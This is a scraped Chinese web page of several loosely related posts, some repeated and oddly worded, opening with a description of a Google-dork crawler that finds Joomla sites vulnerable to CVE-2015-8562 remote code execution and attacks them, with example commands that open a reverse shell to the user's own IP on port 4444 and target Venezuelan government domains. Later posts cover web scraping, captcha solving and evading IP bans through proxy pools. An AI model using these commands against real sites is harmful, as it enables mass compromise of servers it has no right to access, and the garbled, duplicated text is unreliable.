  google parsers模塊(google_parsers.py)以后就會(huì )繼續優(yōu)化,而現今的exp只富含joomla cve谷歌搜索爬蟲(chóng),畢竟這個(gè)項目主要是給你們自己diy使用的。但是,如果你不會(huì )弄exp,把借助exp遞交給過(guò)來(lái)也行。
  由于筆者平常還是比較忙,所以沒(méi)有太多時(shí)間去自動(dòng)搜索目標。故而,筆者嘗試使用Selenium框架去造了個(gè)爬蟲(chóng)來(lái)搜救測試目標。至于搜索過(guò)程中出現的Google的驗證碼,它須要其他庫和模塊來(lái)輔助解決。在項目里使用Selenium后,大家就可以在微軟出現驗證碼的是時(shí)侯,自行自動(dòng)輸入驗證碼,然后爬蟲(chóng)就可以繼續爬行了。這大約是筆者能想出的最好的解決驗證碼防護的辦法了。
  簡(jiǎn)單概述下爬蟲(chóng)是怎樣工作的:
  1. 執行微軟搜索
  2. 從每一頁(yè)解析結果
  3. 測試是否結果中富含漏洞
  這個(gè)項目須要python3,使用requirements安裝依賴(lài)庫的方式如下:
  $ sudo pip install -r requirements.txt
  運行示例:
  python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="Fran&ccedil;a" --last_update="no &uacute;ltimo m&ecirc;s"
  在前面的事例里,筆者是在找尋匈牙利的joomla RCE目標,使用的是google_domains.txt上面的google域名(比如google.co.uk)來(lái)作為搜索引擎,“–last_update”則代表著(zhù)搜索結果的更新時(shí)間為上個(gè)月。
  上面事例里的選項適用于任何語(yǔ)言,主要決定于google針對相應的國家給出的句型。
  下面再給出一個(gè)簡(jiǎn)單的事例:
  python3 google_explorer.py --browser='chrome' --dork='site:gob.ve inurl:index.php' --location="Venezuela"
  當然,這些exp也是可以單獨使用的:
  $ cd xpl_parsers
  $ python joomla_cve_2015_8562.py
  單獨測試exp的方式:
  $ cd exploits
  $ python exploiter.py --file &lt;vuln file&gt;

網(wǎng)絡(luò )爬蟲(chóng)技術(shù)之同時(shí)抓取多個(gè)網(wǎng)頁(yè)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 882 次瀏覽 ? 2020-06-26 08:01 ? 來(lái)自相關(guān)話(huà)題

  php 爬蟲(chóng)的簡(jiǎn)單實(shí)現, 獲取整個(gè)頁(yè)面, 再把頁(yè)面的數據導出本地的文件當中
  $curlobj = curl_init(); //創(chuàng )建一個(gè)curl 的資源,下面要用的curl_setopt($curlobj,CURLOPT_URL,""); //獲取資源curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,true); //請求結果不直接復印 $output = curl_exec($cu
  爬蟲(chóng)爬取多個(gè)不相同網(wǎng)頁(yè)
  任務(wù)四‘’’本任務(wù)要求你們完成一個(gè)簡(jiǎn)單的爬蟲(chóng)項目,包括網(wǎng)頁(yè)爬取、信息提取以及數據保存在完成本次任務(wù)時(shí),建議你們認真思索,結合自己的邏輯,完成任務(wù)。注意:本任務(wù)的得分將根據任務(wù)遞交時(shí)間的先后次序與任務(wù)正確率結合來(lái)估算,由于每個(gè)朋友的題目都不相同,建議不要剽竊,一旦發(fā)覺(jué)剽竊情況,本次任務(wù)判為0分’’’from typing import Any, Tuple‘’’第一題:請使用爬蟲(chóng)技術(shù)...
  Scrapy爬取多層級網(wǎng)頁(yè)內容的方法
  # -*- coding: utf-8 -*-import scrapyfrom Avv.items import AvvItemclass AvSpider(scrapy.Spider):name = 'av' # 爬蟲(chóng)名allowed_domains = ['/'] # 爬蟲(chóng)作用域# 爬取第2頁(yè)到最后一頁(yè)的代碼url = ...
  
  爬蟲(chóng)——scrapy框架爬取多個(gè)頁(yè)面影片的二級子頁(yè)面的詳盡信息
  文章目錄需求:總結:代碼:movieinfo.pyitems.pymiddleware.pypipelines.py結果:附加:需求:scrapy框架,爬取某影片網(wǎng)頁(yè)面的每位影片的一級頁(yè)面的名子爬取每部影片二級頁(yè)面的詳盡信息使用代理ip保存日志文件存為csv文件總結:1、xpath解析使用extract()的各類(lèi)情況剖析
  網(wǎng)絡(luò )爬蟲(chóng)初步:從一個(gè)入口鏈接開(kāi)始不斷抓取頁(yè)面中的網(wǎng)址并入庫
  前言: 在上一篇《網(wǎng)絡(luò )爬蟲(chóng)初步:從訪(fǎng)問(wèn)網(wǎng)頁(yè)到數據解析》中,我們討論了怎樣爬取網(wǎng)頁(yè),對爬取的網(wǎng)頁(yè)進(jìn)行解析,以及訪(fǎng)問(wèn)被拒絕的網(wǎng)站。在這一篇博客中,我們可以來(lái)了解一下領(lǐng)到解析的數據可以做的風(fēng)波。在這篇博客中,我主要是說(shuō)明要做的兩件事,一是入庫,二是遍歷領(lǐng)到的鏈接繼續訪(fǎng)問(wèn)。如此往復,這樣就構成了一個(gè)網(wǎng)絡(luò )爬蟲(chóng)的雛型。筆者環(huán)境: 系統: Windows 7...
  php爬蟲(chóng)
  Php爬蟲(chóng),爬取數據,識圖猜詞語(yǔ)一、尋找數據1,尋找相關(guān)網(wǎng)站數據剖析網(wǎng)站換頁(yè)特點(diǎn)剖析得出不僅第一頁(yè),第二頁(yè)開(kāi)始index加頁(yè)面數寫(xiě)一個(gè)函數,專(zhuān)門(mén)拼接須要訪(fǎng)問(wèn)的頁(yè)面public function getcy($id=3,$num=3){$i=$id;...
  爬取多個(gè)頁(yè)面的數據
  代碼如下:# -*- coding:utf8 -*-#導入requests庫,取別稱(chēng)resimport requests as res#導入bs4包,取別稱(chēng)bsfrom bs4 import BeautifulSoup as bs#導入數據庫驅動(dòng)包import MySQLdb#聲明頁(yè)面從哪開(kāi)始j = 1#循環(huán)遍歷每位頁(yè)面while j 111:##獲取目標網(wǎng)站的網(wǎng)頁(yè)
  Python爬蟲(chóng)實(shí)例(3)-用BeautifulSoup爬取多個(gè)可翻頁(yè)網(wǎng)頁(yè)上的多張相片
  # -*- coding: utf-8 -*-#導入第三方包和模塊import requestsfrom bs4 import BeautifulSoupimport os#在本地新建一個(gè)文件夾,命名為test_img,用以保存下載的圖片folder = 'test_img'if not os.path.exists(folder):os.makedirs(folder)#定義
  
  用WebMagic框架 爬某網(wǎng)站(多個(gè)頁(yè)面)的內容 、啟動(dòng)爬蟲(chóng)有時(shí)候能抓取成功、
  用WebMagic框架 爬某網(wǎng)站(多個(gè)頁(yè)面)的內容 、啟動(dòng)爬蟲(chóng)有時(shí)候能抓取成功、有時(shí)候啟動(dòng)以后沒(méi)任何反應3S然后程序停止。問(wèn)哪些會(huì )這樣,求解
  webmagic爬蟲(chóng)自學(xué)(三)爬取CSDN【列表+詳情的基本頁(yè)面組合】的頁(yè)面,使用基于注解的方法
  1
  如何實(shí)現兩個(gè)頁(yè)面的跳轉
  _addEvent:function(){var btn;btn=this._getWidgetByName(this._startGav,"Button_7");//獲取按鍵的點(diǎn)擊實(shí)風(fēng)波btn.addTouchEventListener(this._inputHandler.bind(this),this._startGav);},_inputHandler:
  爬蟲(chóng)——第二次試驗(網(wǎng)站多頁(yè)爬取代碼)
  實(shí)驗目的熟練把握requests庫中g(shù)et技巧的使用把握借助requests庫爬取多頁(yè)網(wǎng)頁(yè)內容的方式2.1 爬取百度貼吧與某主題相關(guān)的貼子,并將爬取到的內容保存到文件中(爬取多頁(yè))import requestsdef get_page(url):headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) ...
  給你們推薦幾種實(shí)現網(wǎng)頁(yè)數據抓取的方法
  相信所有個(gè)人網(wǎng)站的站長(cháng)都有抓取他人數據的經(jīng)歷吧,目前抓取他人網(wǎng)站數據的方法無(wú)非兩種形式: 一、使用第三方工具,其中最知名的是優(yōu)采云采集器,在此不做介紹。 二、自己寫(xiě)程序抓取,這種方法要求站長(cháng)自己寫(xiě)程序
  java爬取百度百科詞條
  lz在之前的一篇博客中,用python實(shí)現了爬取百度百科的詞條,就在怎么用java來(lái)實(shí)現相同的功能,果不其然,java用一個(gè)jsoup的第三方庫工具就可以很簡(jiǎn)單地實(shí)現爬取百度百科的詞條。同樣的,將這個(gè)爬取過(guò)程分成5個(gè)部份來(lái)實(shí)現。分別是connectnet聯(lián)接url部份、parsehtml獲取html相關(guān)內容部份、startspyder部份、store儲存url部份、urlmanager的url管理
  關(guān)于使用Java實(shí)現的簡(jiǎn)單網(wǎng)路爬蟲(chóng)Demo
  什么是網(wǎng)絡(luò )爬蟲(chóng)?網(wǎng)絡(luò )爬蟲(chóng)又叫蜘蛛,網(wǎng)絡(luò )蜘蛛是通過(guò)網(wǎng)頁(yè)的鏈接地址來(lái)找尋網(wǎng)頁(yè),從網(wǎng)站某一個(gè)頁(yè)面(通常是首頁(yè))開(kāi)始,讀取網(wǎng)頁(yè)的內容,找到在網(wǎng)頁(yè)中的其它鏈接地址,然后通過(guò)這種鏈接地址找尋下一個(gè)網(wǎng)頁(yè),這樣仍然循環(huán)下去,直到把這個(gè)網(wǎng)站所有的網(wǎng)頁(yè)都抓取完為止。如果把整個(gè)互聯(lián)網(wǎng)當作一個(gè)網(wǎng)站,那么網(wǎng)路蜘蛛就可以用這個(gè)原理把互聯(lián)網(wǎng)上所有的網(wǎng)頁(yè)都抓取出來(lái)。所以要想抓取網(wǎng)路上的數據,不僅須要爬蟲(chóng)程序還須要一個(gè)可以接受
  Java爬蟲(chóng)爬取python百度百科詞條及相關(guān)詞條頁(yè)面
  Java爬蟲(chóng)爬取python百度百科詞條及相關(guān)詞條頁(yè)面本實(shí)例爬取關(guān)于python詞條頁(yè)面及關(guān)聯(lián)詞條頁(yè)面的簡(jiǎn)介網(wǎng)絡(luò )爬蟲(chóng)論壇,把詞條的簡(jiǎn)介寫(xiě)入txt文本中, 本實(shí)例療效:實(shí)例基于使用第三方j(luò )ar包Jsoup1首先剖析python詞條頁(yè)面:可以發(fā)覺(jué)其他詞條的超鏈接都帶有"/item"以及詞條的簡(jiǎn)介都包含在class為
  python scrapy項目下spiders內多個(gè)爬蟲(chóng)同時(shí)運行
  一般創(chuàng )建了scrapy文件夾后,可能須要寫(xiě)多個(gè)爬蟲(chóng),如果想使它們同時(shí)運行而不是順次運行的話(huà),得怎樣做?a、在spiders目錄的同級目錄下創(chuàng )建一個(gè)commands目錄網(wǎng)絡(luò )爬蟲(chóng)論壇,并在該目錄中創(chuàng )建一個(gè)crawlall.py,將scrapy源代碼里的commands文件夾里的crawl.py源碼復制過(guò)來(lái),只更改run()方法即可!import osfrom ...
  算法設計中關(guān)于優(yōu)先隊列式分支限界法解裝載問(wèn)題的代碼下載
  分支限界法中的優(yōu)先隊列式分支限界法解裝載問(wèn)題相關(guān)下載鏈接:
  軟件調試張銀奎(7)下載
  軟件調試張銀奎(4)軟件調試張銀奎(4)軟件調試張銀奎(4)相關(guān)下載鏈接:
  WimTool-WIM文件處理工具安裝版下載
  WimTool-WIM文件處理工具安裝版相關(guān)下載鏈接:
  相關(guān)熱詞c#如何獲得線(xiàn)程名c# usb 采集器c# sort()c#面對對象的三大特點(diǎn)c# 打印 等比縮放c#彈出右鍵菜單c# 系統托盤(pán)圖標c# 鍵值對 鍵可以重復c# 鼠標移起來(lái)提示c#結構體定義
  我們是挺有底線(xiàn)的 查看全部
  php 爬蟲(chóng)的簡(jiǎn)單實(shí)現, 獲取整個(gè)頁(yè)面, 再把頁(yè)面的數據導出本地的文件當中
  $curlobj = curl_init(); //創(chuàng )建一個(gè)curl 的資源,下面要用的curl_setopt($curlobj,CURLOPT_URL,""); //獲取資源curl_setopt($curlobj,CURLOPT_RETURNTRANSFER,true); //請求結果不直接復印 $output = curl_exec($cu
  爬蟲(chóng)爬取多個(gè)不相同網(wǎng)頁(yè)
  任務(wù)四‘’’本任務(wù)要求你們完成一個(gè)簡(jiǎn)單的爬蟲(chóng)項目,包括網(wǎng)頁(yè)爬取、信息提取以及數據保存在完成本次任務(wù)時(shí),建議你們認真思索,結合自己的邏輯,完成任務(wù)。注意:本任務(wù)的得分將根據任務(wù)遞交時(shí)間的先后次序與任務(wù)正確率結合來(lái)估算,由于每個(gè)朋友的題目都不相同,建議不要剽竊,一旦發(fā)覺(jué)剽竊情況,本次任務(wù)判為0分’’’from typing import Any, Tuple‘’’第一題:請使用爬蟲(chóng)技術(shù)...
  Scrapy爬取多層級網(wǎng)頁(yè)內容的方法
  # -*- coding: utf-8 -*-import scrapyfrom Avv.items import AvvItemclass AvSpider(scrapy.Spider):name = 'av' # 爬蟲(chóng)名allowed_domains = ['/'] # 爬蟲(chóng)作用域# 爬取第2頁(yè)到最后一頁(yè)的代碼url = ...
  
  爬蟲(chóng)——scrapy框架爬取多個(gè)頁(yè)面影片的二級子頁(yè)面的詳盡信息
  文章目錄需求:總結:代碼:movieinfo.pyitems.pymiddleware.pypipelines.py結果:附加:需求:scrapy框架,爬取某影片網(wǎng)頁(yè)面的每位影片的一級頁(yè)面的名子爬取每部影片二級頁(yè)面的詳盡信息使用代理ip保存日志文件存為csv文件總結:1、xpath解析使用extract()的各類(lèi)情況剖析
  網(wǎng)絡(luò )爬蟲(chóng)初步:從一個(gè)入口鏈接開(kāi)始不斷抓取頁(yè)面中的網(wǎng)址并入庫
  前言: 在上一篇《網(wǎng)絡(luò )爬蟲(chóng)初步:從訪(fǎng)問(wèn)網(wǎng)頁(yè)到數據解析》中,我們討論了怎樣爬取網(wǎng)頁(yè),對爬取的網(wǎng)頁(yè)進(jìn)行解析,以及訪(fǎng)問(wèn)被拒絕的網(wǎng)站。在這一篇博客中,我們可以來(lái)了解一下領(lǐng)到解析的數據可以做的風(fēng)波。在這篇博客中,我主要是說(shuō)明要做的兩件事,一是入庫,二是遍歷領(lǐng)到的鏈接繼續訪(fǎng)問(wèn)。如此往復,這樣就構成了一個(gè)網(wǎng)絡(luò )爬蟲(chóng)的雛型。筆者環(huán)境: 系統: Windows 7...
  php爬蟲(chóng)
  Php爬蟲(chóng),爬取數據,識圖猜詞語(yǔ)一、尋找數據1,尋找相關(guān)網(wǎng)站數據剖析網(wǎng)站換頁(yè)特點(diǎn)剖析得出不僅第一頁(yè),第二頁(yè)開(kāi)始index加頁(yè)面數寫(xiě)一個(gè)函數,專(zhuān)門(mén)拼接須要訪(fǎng)問(wèn)的頁(yè)面public function getcy($id=3,$num=3){$i=$id;...
  爬取多個(gè)頁(yè)面的數據
  代碼如下:# -*- coding:utf8 -*-#導入requests庫,取別稱(chēng)resimport requests as res#導入bs4包,取別稱(chēng)bsfrom bs4 import BeautifulSoup as bs#導入數據庫驅動(dòng)包import MySQLdb#聲明頁(yè)面從哪開(kāi)始j = 1#循環(huán)遍歷每位頁(yè)面while j 111:##獲取目標網(wǎng)站的網(wǎng)頁(yè)
  Python爬蟲(chóng)實(shí)例(3)-用BeautifulSoup爬取多個(gè)可翻頁(yè)網(wǎng)頁(yè)上的多張相片
  # -*- coding: utf-8 -*-#導入第三方包和模塊import requestsfrom bs4 import BeautifulSoupimport os#在本地新建一個(gè)文件夾,命名為test_img,用以保存下載的圖片folder = 'test_img'if not os.path.exists(folder):os.makedirs(folder)#定義
  
  用WebMagic框架 爬某網(wǎng)站(多個(gè)頁(yè)面)的內容 、啟動(dòng)爬蟲(chóng)有時(shí)候能抓取成功、
  用WebMagic框架 爬某網(wǎng)站(多個(gè)頁(yè)面)的內容 、啟動(dòng)爬蟲(chóng)有時(shí)候能抓取成功、有時(shí)候啟動(dòng)以后沒(méi)任何反應3S然后程序停止。問(wèn)哪些會(huì )這樣,求解
  webmagic爬蟲(chóng)自學(xué)(三)爬取CSDN【列表+詳情的基本頁(yè)面組合】的頁(yè)面,使用基于注解的方法
  1
  如何實(shí)現兩個(gè)頁(yè)面的跳轉
  _addEvent:function(){var btn;btn=this._getWidgetByName(this._startGav,"Button_7");//獲取按鍵的點(diǎn)擊實(shí)風(fēng)波btn.addTouchEventListener(this._inputHandler.bind(this),this._startGav);},_inputHandler:
  爬蟲(chóng)——第二次試驗(網(wǎng)站多頁(yè)爬取代碼)
  實(shí)驗目的熟練把握requests庫中g(shù)et技巧的使用把握借助requests庫爬取多頁(yè)網(wǎng)頁(yè)內容的方式2.1 爬取百度貼吧與某主題相關(guān)的貼子,并將爬取到的內容保存到文件中(爬取多頁(yè))import requestsdef get_page(url):headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) ...
  給你們推薦幾種實(shí)現網(wǎng)頁(yè)數據抓取的方法
  相信所有個(gè)人網(wǎng)站的站長(cháng)都有抓取他人數據的經(jīng)歷吧,目前抓取他人網(wǎng)站數據的方法無(wú)非兩種形式: 一、使用第三方工具,其中最知名的是優(yōu)采云采集器,在此不做介紹。 二、自己寫(xiě)程序抓取,這種方法要求站長(cháng)自己寫(xiě)程序
  java爬取百度百科詞條
  lz在之前的一篇博客中,用python實(shí)現了爬取百度百科的詞條,就在怎么用java來(lái)實(shí)現相同的功能,果不其然,java用一個(gè)jsoup的第三方庫工具就可以很簡(jiǎn)單地實(shí)現爬取百度百科的詞條。同樣的,將這個(gè)爬取過(guò)程分成5個(gè)部份來(lái)實(shí)現。分別是connectnet聯(lián)接url部份、parsehtml獲取html相關(guān)內容部份、startspyder部份、store儲存url部份、urlmanager的url管理
  關(guān)于使用Java實(shí)現的簡(jiǎn)單網(wǎng)路爬蟲(chóng)Demo
  什么是網(wǎng)絡(luò )爬蟲(chóng)?網(wǎng)絡(luò )爬蟲(chóng)又叫蜘蛛,網(wǎng)絡(luò )蜘蛛是通過(guò)網(wǎng)頁(yè)的鏈接地址來(lái)找尋網(wǎng)頁(yè),從網(wǎng)站某一個(gè)頁(yè)面(通常是首頁(yè))開(kāi)始,讀取網(wǎng)頁(yè)的內容,找到在網(wǎng)頁(yè)中的其它鏈接地址,然后通過(guò)這種鏈接地址找尋下一個(gè)網(wǎng)頁(yè),這樣仍然循環(huán)下去,直到把這個(gè)網(wǎng)站所有的網(wǎng)頁(yè)都抓取完為止。如果把整個(gè)互聯(lián)網(wǎng)當作一個(gè)網(wǎng)站,那么網(wǎng)路蜘蛛就可以用這個(gè)原理把互聯(lián)網(wǎng)上所有的網(wǎng)頁(yè)都抓取出來(lái)。所以要想抓取網(wǎng)路上的數據,不僅須要爬蟲(chóng)程序還須要一個(gè)可以接受
  Java爬蟲(chóng)爬取python百度百科詞條及相關(guān)詞條頁(yè)面
  Java爬蟲(chóng)爬取python百度百科詞條及相關(guān)詞條頁(yè)面本實(shí)例爬取關(guān)于python詞條頁(yè)面及關(guān)聯(lián)詞條頁(yè)面的簡(jiǎn)介網(wǎng)絡(luò )爬蟲(chóng)論壇,把詞條的簡(jiǎn)介寫(xiě)入txt文本中, 本實(shí)例療效:實(shí)例基于使用第三方j(luò )ar包Jsoup1首先剖析python詞條頁(yè)面:可以發(fā)覺(jué)其他詞條的超鏈接都帶有"/item"以及詞條的簡(jiǎn)介都包含在class為
  python scrapy項目下spiders內多個(gè)爬蟲(chóng)同時(shí)運行
  一般創(chuàng )建了scrapy文件夾后,可能須要寫(xiě)多個(gè)爬蟲(chóng),如果想使它們同時(shí)運行而不是順次運行的話(huà),得怎樣做?a、在spiders目錄的同級目錄下創(chuàng )建一個(gè)commands目錄網(wǎng)絡(luò )爬蟲(chóng)論壇,并在該目錄中創(chuàng )建一個(gè)crawlall.py,將scrapy源代碼里的commands文件夾里的crawl.py源碼復制過(guò)來(lái),只更改run()方法即可!import osfrom ...
  算法設計中關(guān)于優(yōu)先隊列式分支限界法解裝載問(wèn)題的代碼下載
  分支限界法中的優(yōu)先隊列式分支限界法解裝載問(wèn)題相關(guān)下載鏈接:
  軟件調試張銀奎(7)下載
  軟件調試張銀奎(4)軟件調試張銀奎(4)軟件調試張銀奎(4)相關(guān)下載鏈接:
  WimTool-WIM文件處理工具安裝版下載
  WimTool-WIM文件處理工具安裝版相關(guān)下載鏈接:
  相關(guān)熱詞c#如何獲得線(xiàn)程名c# usb 采集器c# sort()c#面對對象的三大特點(diǎn)c# 打印 等比縮放c#彈出右鍵菜單c# 系統托盤(pán)圖標c# 鍵值對 鍵可以重復c# 鼠標移起來(lái)提示c#結構體定義
  我們是挺有底線(xiàn)的

求大神們推薦python入門(mén)書(shū)籍(爬蟲(chóng)方面)?

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 330 次瀏覽 ? 2020-06-25 08:03 ? 來(lái)自相關(guān)話(huà)題

  
  題主的要求是Python入門(mén),而且是和爬蟲(chóng)相關(guān)的書(shū)籍,那么有一本書(shū)簡(jiǎn)直很適宜了,那就是《 Python for Informatics 》(中文翻譯叫《信息管理專(zhuān)業(yè)Python教程》),這本書(shū)除了是一本挺好的Python爬蟲(chóng)方面的入門(mén)書(shū),而且還有以這本書(shū)為教材的配套的Coursera課程。
  這本書(shū)是美國密西根大學(xué)信息學(xué)院院長(cháng)為他的課程編撰的,是一本開(kāi)源書(shū),有人將他翻譯成了中文版爬蟲(chóng)入門(mén)書(shū)籍,書(shū)上有配套的習題和代碼,而且這種習題代碼都可以在網(wǎng)上獲取到,書(shū)本身并不厚,前面十章將的都是Python的基礎用法,后面幾張就是講解和Python爬蟲(chóng)有關(guān)的,像正則表達式,網(wǎng)絡(luò )編程(HTTP 協(xié)議), Web Service,數據庫與SQL句子,數據可視化,書(shū)中還仔細講解了用Python爬取Twiter上的用戶(hù)信息,和各類(lèi)解析html會(huì )用到的工具,如BeautifulSoup等,學(xué)完本書(shū),爬取個(gè)知乎哪些的都是小意思!本書(shū)中文版下載地址地址。
  說(shuō)完了書(shū)在來(lái)說(shuō)說(shuō)配套的Coursera課程,是Coursera上太火的零基礎 Python 入門(mén) 專(zhuān)項課程,內容大致和書(shū)上的內容差不多,分成了6門(mén)課程,前三門(mén)課程講解Python句型,后面講Python爬蟲(chóng)的數據采集數據處理等爬蟲(chóng)入門(mén)書(shū)籍,并且有不少的習題,老師也十分特別有趣,,知乎上很早之前就有人介紹這門(mén)課程coursera上有什么值得學(xué)習的Python,數據剖析的課程? - 程剛的回答,本課的課程地址,并且這門(mén)課正好就是今天開(kāi)課(7月25號),學(xué)習課程假如不要證書(shū)的話(huà)也不用花錢(qián),貌似大部分配有英文字幕。 查看全部

  
  題主的要求是Python入門(mén),而且是和爬蟲(chóng)相關(guān)的書(shū)籍,那么有一本書(shū)簡(jiǎn)直很適宜了,那就是《 Python for Informatics 》(中文翻譯叫《信息管理專(zhuān)業(yè)Python教程》),這本書(shū)除了是一本挺好的Python爬蟲(chóng)方面的入門(mén)書(shū),而且還有以這本書(shū)為教材的配套的Coursera課程。
  這本書(shū)是美國密西根大學(xué)信息學(xué)院院長(cháng)為他的課程編撰的,是一本開(kāi)源書(shū),有人將他翻譯成了中文版爬蟲(chóng)入門(mén)書(shū)籍,書(shū)上有配套的習題和代碼,而且這種習題代碼都可以在網(wǎng)上獲取到,書(shū)本身并不厚,前面十章將的都是Python的基礎用法,后面幾張就是講解和Python爬蟲(chóng)有關(guān)的,像正則表達式,網(wǎng)絡(luò )編程(HTTP 協(xié)議), Web Service,數據庫與SQL句子,數據可視化,書(shū)中還仔細講解了用Python爬取Twiter上的用戶(hù)信息,和各類(lèi)解析html會(huì )用到的工具,如BeautifulSoup等,學(xué)完本書(shū),爬取個(gè)知乎哪些的都是小意思!本書(shū)中文版下載地址地址。
  說(shuō)完了書(shū)在來(lái)說(shuō)說(shuō)配套的Coursera課程,是Coursera上太火的零基礎 Python 入門(mén) 專(zhuān)項課程,內容大致和書(shū)上的內容差不多,分成了6門(mén)課程,前三門(mén)課程講解Python句型,后面講Python爬蟲(chóng)的數據采集數據處理等爬蟲(chóng)入門(mén)書(shū)籍,并且有不少的習題,老師也十分特別有趣,,知乎上很早之前就有人介紹這門(mén)課程coursera上有什么值得學(xué)習的Python,數據剖析的課程? - 程剛的回答,本課的課程地址,并且這門(mén)課正好就是今天開(kāi)課(7月25號),學(xué)習課程假如不要證書(shū)的話(huà)也不用花錢(qián),貌似大部分配有英文字幕。

幫你深入了解爬蟲(chóng)與反爬蟲(chóng)技術(shù)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 293 次瀏覽 ? 2020-06-24 08:02 ? 來(lái)自相關(guān)話(huà)題

  爬蟲(chóng)是哪些呢,簡(jiǎn)單而片面的說(shuō),爬蟲(chóng)就是由計算機手動(dòng)與服務(wù)器交互獲取數據的工具。爬蟲(chóng)的最基本就是get一個(gè)網(wǎng)頁(yè)的源代碼數據,如果更深入一些,就會(huì )出現和網(wǎng)頁(yè)進(jìn)行POST交互,獲取服務(wù)器接收POST懇求后返回的數據。一句話(huà),爬蟲(chóng)拿來(lái)手動(dòng)獲取源數據,至于更多的數據處理等等是后續的工作,這篇文章主要想說(shuō)說(shuō)爬蟲(chóng)獲取數據的這一部分。爬蟲(chóng)請注意網(wǎng)站的Robot.txt文件,不要使爬蟲(chóng)違規,也不要使爬蟲(chóng)對網(wǎng)站造成傷害。
  
  反爬及反反爬概念的不恰當舉例
  基于好多誘因(如服務(wù)器資源,保護數據等),很多網(wǎng)站是限制了爬蟲(chóng)療效的。
  考慮一下,由人來(lái)充當爬蟲(chóng)的角色,我們如何獲取網(wǎng)頁(yè)源代碼?最常用的其實(shí)是右鍵源代碼。
  網(wǎng)站屏蔽了右鍵,怎么辦?
  
  拿出我們做爬蟲(chóng)中最有用的東西 F12(歡迎討論)
  同時(shí)按下F12就可以打開(kāi)了(滑稽)
  
  源代碼下來(lái)了??!
  在把人當成爬蟲(chóng)的情況下,屏蔽右鍵就是反爬取策略,F12就是反反爬取的方法。
  講講即將的反爬取策略
  事實(shí)上,在寫(xiě)爬蟲(chóng)的過(guò)程中一定出現過(guò)沒(méi)有返回數據的情況,這種時(shí)侯其實(shí)是服務(wù)器限制了UA頭(user-agent),這就是一種太基本的反爬取,只要發(fā)送懇求的時(shí)侯加上UA頭就可以了…是不是很簡(jiǎn)單?
  其實(shí)一股腦把須要不需要的Request Headers都加上也是一個(gè)簡(jiǎn)單粗暴的辦法……
  有沒(méi)有發(fā)覺(jué)網(wǎng)站的驗證碼也是一個(gè)反爬取策略呢?為了使網(wǎng)站的用戶(hù)能是真人,驗證碼真是做了很大的貢獻。隨驗證碼而至的,驗證碼識別出現了。
  說(shuō)到這,不知道是先出現了驗證碼識別還是圖片辨識呢?
  簡(jiǎn)單的驗證碼現今辨識上去是極其簡(jiǎn)單的,網(wǎng)上有太多教程,包括稍為進(jìn)階一下的去噪,二值,分割,重組等概念??墒侨缃窬W(wǎng)站人機辨識早已越發(fā)的驚悚了上去,比如這些:
  
  簡(jiǎn)單述說(shuō)一下去噪二值的概念
  將一個(gè)驗證碼
  
  變成
  
  就是二值,也就是將圖片本身弄成只有兩個(gè)色彩,例子很簡(jiǎn)單,通過(guò)python PIL庫里的
  
Image.convert(&quot;1&quot;)
  就能實(shí)現,但若果圖片顯得更為復雜,還是要多思索一下,比如
  
  如果直接用簡(jiǎn)單形式的話(huà) 就會(huì )弄成
  
  思考一些此類(lèi)驗證碼應當如何辨識?這種時(shí)侯 去噪 就派上了好處,根據驗證碼本身的特點(diǎn),可以估算驗證碼的底色和字體之外的RGB值等,將這種值弄成一個(gè)顏色爬蟲(chóng)技術(shù),將字體留出。示例代碼如下,換色即可
  for x in range(0,image.size[0]):
  for y in range(0,image.size[1]):
  # print arr2[x][y]
  if arr[x][y].tolist()==底色:
  arr[x][y]=0
  elif arr[x][y].tolist()[0] in range(200,256) and arr[x][y].tolist()[1] in range(200,256) and arr[x][y].tolist()[2] in range(200,256):
  arr[x][y]=0
  elif arr[x][y].tolist()==[0,0,0]:
  arr[x][y]=0
  else:
  arr[x][y]=255
  arr是由numpy得到的,根據圖片RGB值得出的矩陣,讀者可以自己嘗試建立代碼,親自實(shí)驗一下。
  細致的處理過(guò)后圖片可以弄成
  
  識別率還是很高的。
  在驗證碼的發(fā)展中,還算清晰的數字字母,簡(jiǎn)單的加減乘除,網(wǎng)上有輪子可以用爬蟲(chóng)技術(shù),有些難的數字字母漢字,也可以自己造輪子(比如前面),但更多的東西,已經(jīng)足夠寫(xiě)一個(gè)人工智能了……(有一種工作就是識別驗證碼…)
  再加一個(gè)小提示:有的網(wǎng)站PC端有驗證碼,而手機端沒(méi)有…
  下一個(gè)話(huà)題!
  反爬取策略中比較常見(jiàn)的還有一種封IP的策略,通常是短時(shí)間內過(guò)多的訪(fǎng)問(wèn)才會(huì )被封禁,這個(gè)很簡(jiǎn)單,限制訪(fǎng)問(wèn)頻度或添加IP代理池就OK了,當然,分布式也可以…
  IP代理池-&gt;左轉Google左轉baidu,有很多代理網(wǎng)站,雖然免費中能用的不多 但其實(shí)可以。
  還有一種也可以算作反爬蟲(chóng)策略的就是異步數據,隨著(zhù)對爬蟲(chóng)的逐步深入(明明是網(wǎng)站的更新?lián)Q代!),異步加載是一定會(huì )遇到的問(wèn)題,解決方法仍然是F12。以不愿透漏姓名的網(wǎng)易云音樂(lè )網(wǎng)站為例,右鍵打開(kāi)源代碼后,嘗試搜索一下評論
  
  數據呢?!這就是JS和Ajax盛行以后異步加載的特性。但是打開(kāi)F12,切換到NetWork選項卡,刷新一下頁(yè)面,仔細找尋,沒(méi)有秘密。
  
  哦,對了 如果你在聽(tīng)歌的話(huà),點(diǎn)進(jìn)去能夠下載呢… 查看全部

